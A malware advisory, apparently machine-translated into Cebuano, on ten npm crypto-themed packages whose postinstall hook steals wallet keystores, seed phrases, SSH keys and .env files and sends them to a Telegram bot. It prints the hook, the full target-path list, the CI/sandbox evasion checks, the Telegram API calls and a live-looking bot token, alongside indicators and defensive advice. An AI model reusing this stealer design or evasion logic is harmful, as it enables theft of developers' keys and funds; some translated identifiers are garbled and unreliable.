TL; DR
Niadtong Hunyo 9, 2026, usa ka npm publisher account, aicrypto-xzggg, gipadala napulo ka pakete nga adunay mga ngalan nga may lami sa crypto ug Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ug unom pa.
Ang matag pakete nagpadagan sa parehas nga payload gikan sa usa ka postinstall hook. Sa pag-instalar, susihon niini kung nagdagan ba kini sulod sa CI o usa ka sandbox — kung dili, basahon niini ang mga wallet keystore, mga seed-phrase file, mga SSH key, ug .env mga file gikan sa unom ka blockchain ecosystem ug ipadala kini ngadto sa usa ka Telegram bot.
Ang bugtong timailhan nga dali nga makit-an sa usa ka tigdepensa mao ang Telegram bot id. 8227918239.
Kabug-at: kritikal — direktang pagpangawat sa mga yawe sa pagpirma ug mga hugpong sa pagbawi gikan sa mga workstation sa developer.
Ang Pag-atake: Giunsa Kini Paglihok
Ang mga pakete nag-anunsyo sa ilang kaugalingon isip mga gamit sa blockchain developer. package.json kay minimal ug nagtudlo sa install lifecycle sa usa ka script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } mga script/postinstall.js usa ka one-line shim nga nagkarga sa tinuod nga payload: nagkinahanglan(“../src/index.js”). Tungod kay pagkahuman sa pag-instalar awtomatikong modagan atol sa npm pag-instalar, dili kinahanglan ang pag-import sa code sa developer — ang pagbutang sa package sa usa ka dependency tree igo na aron mapatuman kini.
Ang kadena sa pagpatay sa sulod src/index.js upat ka lakang:
- Pagsusi sa palibot. Ang guard function ang modesisyon kung ang host murag usa ka build agent o analysis sandbox.
- Paglangan. Ang pagpatuman gilangan human sa usa ka setTimeout mga 7.4 segundos.
- Koleksyon. Usa ka piho nga lista sa mga agianan sa pitaka, yawe, ug sekreto nga file ang gisubay; ang mga naa na nga file gipila.
- Pag-exfiltration. Ang mga nakapila nga file ipadala ngadto sa usa ka Telegram bot, nga gisundan sa usa ka mensahe sa katingbanan.
Ang listahan sa target sa koleksyon naglangkob sa unom ka kadena ug mga sekreto sa generic developer. Giputol:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Baynte-uno ka mga agianan sa kinatibuk-an. Mga entry sa direktoryo sama sa ~/.ethereum/keystore gipalapdan ug ang matag file sa sulod gipila. Ang exfiltration naggamit sa Telegram Bot API direkta — usa ka ipadala ang Mensahe tawag gamit ang host ug file summary, dayon usa ka ipadala ang Dokumento pag-upload sa daghang bahin para sa matag file:
teksto
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Ang mensahe sa sumaryo nga gihimo sa code nagsugod sa literal nga string MAGKAWAT OG CRYPTO, gisundan sa hostname, username, gigikanang ngalan sa package, ihap sa file, ug timestamp.
Unsay bag-o dinhi
Ang nagpalahi dili ang mekanismo sa pagpangawat — Telegram-based exfil gikan sa npm pagkahuman sa pag-instalar hooks maayo ang pagkatunob. Kini ang ganghaan sa pagsilot. Sa dili pa mobuhat og bisan unsa, ang payload motawag og function nga mobalik og true kon ang host morag CI runner o sandbox, ug mobalik og sayo kon kini mobuhat niini:
teksto
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Ang container-id regex mao ang importanteng clause: ang 12-hex-character hostname mao ang default nga porma nga gi-assign sa Docker sa usa ka sudlanan, mao nga ang payload nagtratar sa "ang akong hostname morag Docker container" isip rason aron magpabiling dormant. Inubanan sa pito ka segundos nga delay, ang disenyo mas pabor sa pagdagan sa tinuod nga workstation sa usa ka developer ug pagpabiling hilom bisan asa nga morag automated analysis. Kana nga gate mao ang nagpugong sa dynamic-analysis signals ug nagpabilin sa static exfil flow isip pangunang ebidensya sa kombiksyon.
Timeline
| Petsa (UTC) | Hitabo |
|---|---|
| 2026-06-09 ~02:48 | Ang unang mga pakete sa cluster gimarkahan sa publikasyon (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Mga miyembro nga mas taas og bersyon gimarkahan (ethereum-kit-9 sa 1.25.36, wallet-sdk-9 sa 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Ang katapusang mga miyembro gimarkahan (defi-tools-39 sa 4.26.29, swap-sdk-87 sa 4.63.78, farming-tools-12 sa 4.68.54) |
| 2026-06-09 | Ang tanang napulo giklasipikar nga malisyoso ug gitaho nga tangtangon ang registry |
Ang tanang napulo migawas sulod sa mga setenta minutos, sumala sa usa lang ka scripted publishing run gikan sa usa ka account.
Mga Timailhan sa Kompromiso
Mga timailhan sa network ug pamatasan (host defanged):
| timailhan | bili |
|---|---|
| Exfil endpoint | api[.]telegram[.]org (Telegram Bot API) |
| ID sa bot sa Telegram | 8227918239 |
| Token sa bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID sa chat sa Telegram | 6433587894 |
| I-install ang kaw-it | postinstall → scripts/postinstall.js → src/index.js |
| Kuwerdas sa marker | CRYPTO STEALER sa gitigom nga mensahe sa katingbanan |
| Tagmantala | aicrypto-xzggg (gipahayag nga email vipsyria88@gmail[.]com, wala mapamatud-i) |
Mga pakete ug bersyon, matag usa adunay SHA-256 niini src/index.js payload (ang mga payload parehas og gamit ug lahi lang sa naka-embed nga package-name label, busa lahi ang matag hash):
| package | Version | SHA-256 sa src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Usa ka simpleng pangutana sa pagpangita: pangitaa ang mga install log ug lockfile para sa bisan hain sa napulo ka ngalan, ug pangitaa ang outbound traffic para sa mga koneksyon sa Telegram Bot API gikan sa mga build o developer host nga wala mogamit niini.
Pag-ila ug Naobserbahan nga Kinaiya
Ang tanang napulo ka pakete gipatik sa usa ka account, aicrypto-xzggg, kansang giingon nga email mao ang vipsyria88@gmail[.]comAng email ug ang source-control link wala pa mapamatud-i sa metadata sa registry, ug ang account adunay negatibo kaayo nga reputasyon. Wala pa namo gikumpirma kung kinsa ang nagpadagan sa account.
Duha ka detalye ang angay ibulag gikan sa bisan unsang pag-angkon sa identidad. Una, ang package.json awtor nga mga pagbasa sa uma Alex Smith sa matag pakete, samtang ang aktuwal nga account sa pagmantala mao ang aicrypto-xzggg; ang author field kay self-declared metadata ug wala magpamatuod sa pagka-awtor. Ikaduha, ang mga numero sa bersyon managlahi — ang ubang mga miyembro naglingkod sa 1.0.0, ang uban sa 4.68.54 — nga nahiuyon sa paggamit pag-usab sa usa ka payload sa bag-ong gihimo nga mga ngalan sa pakete imbes nga pagmentinar sa tinuod nga mga kasaysayan sa pagpagawas.
Parehas ang pamatasan sa tibuok cluster: parehas ang listahan sa target path, parehas ang Telegram bot id ug chat id, parehas ang environment gate, parehas MAGKAWAT OG CRYPTO marker. Kana nga pagkaparehas mao ang pinakakusgan nga sumpay tali sa mga pakete. Kini usa ka signal sa parehas nga operator, dili usa ka identidad.
Epekto, Mga Uso ug Giya para sa mga Tigpanalipod
Klaro ang exposure. Ang usa ka developer nga nag-install sa bisan hain niini nga mga package sa usa ka workstation nga adunay software wallet, seed-phrase file, o SSH key, mabasa ug mapadala ang mga file gikan sa host sulod sa pipila ka segundo. Ang mga recovery phrase ug signing key dili ma-expire sama sa session token; sa higayon nga mnemonic.txt o usa ka Solana id.json mobiya sa makina, ang mga pundo nga gikontrol niini anaa sa peligro hangtod nga kini mabalhin. Ang parehas nga pagdagan nakakuha usab .env mga file, nga kanunay nga nagdala og mga API key ug mga kredensyal sa database.
Duha ka uso ang nagpaluyo niining cluster. Ang una mao ang padayon nga paggamit sa mga ngalan nga may temang crypto ug Web3 aron makadani sa usa ka piho nga mamiminaw — mga developer nga nagtipig og mga wallet ug mga yawe sa parehas nga makina nga ilang gi-installan og mga dependency. Ang ikaduha mao ang pagkahamtong sa sandbox evasion sa mga payload sa oras sa pag-install. Ang usa ka gate nga nagsusi sa mga CI environment variable, mga username sa runner, ug usa ka porma sa hostname sa Docker container-id usa ka tinuyo nga paningkamot nga molihok nga lahi ubos sa pag-analisar kaysa sa usa ka tinuod nga workstation, ug kini nagpataas sa bar alang sa puro nga dinamikong pag-ila.
Para sa mga tigpanalipod:
I-install nga ang mga script gi-disable pinaagi sa default. npm install –ignore-scripts, o ibutang ibaliwala-ang-mga-script=tinuod in .npmrc, nagpugong pagkahuman sa pag-instalar pagpatuman; i-enable ang mga script para lang sa mga espesipikong dependency nga tinuod nga nanginahanglan niini.
Ipahilayo ang mga wallet ug signing key sa mga build ug development machine. Gamita ang hardware wallet o usa ka dedikado ug dependency-free nga signing host.
Pagtratar .env, mga keystore, ug mga seed-phrase file isip mga hiyas sa korona. Dili gyud kini angay nga molingkod sa usa ka direktoryo nga usa usab ka npm pag-instalar kahoy nga nagtrabaho.
Pangita og outbound connections sa Telegram Bot API gikan sa CI ug developer hosts. Kadaghanan sa mga build environment dili gyud motawag niini; ang usa nga kalit lang motawag, human dayon sa pag-install, angayan nga imbestigahan.
I-pin ug ribyuha ang mga dependency. Usa ka bag-ong pakete nga adunay generic nga crypto name, usa ka pagkahuman sa pag-instalar hook, ug walay repository link nga angay susihon sa dili pa kini mosulod sa lockfile.
Ang container-id evasion clause usa usab ka pahinumdom para sa mga analista: ang usa ka install-time payload nga nagpabiling dormant sa usa ka sandbox dili maayo, kini mapilion. Ang static nga pagrepaso sa install path nagpabilin nga kasaligan nga paagi aron makita kung unsang dynamic execution ang mahimong dili ipakita.
mga pakisayran
dokumentasyon sa pag-install sa npm — mga script sa lifecycle ug –ignore-scripts— reperensya para sa pag-disable sa awtomatikong pag-install hooks.





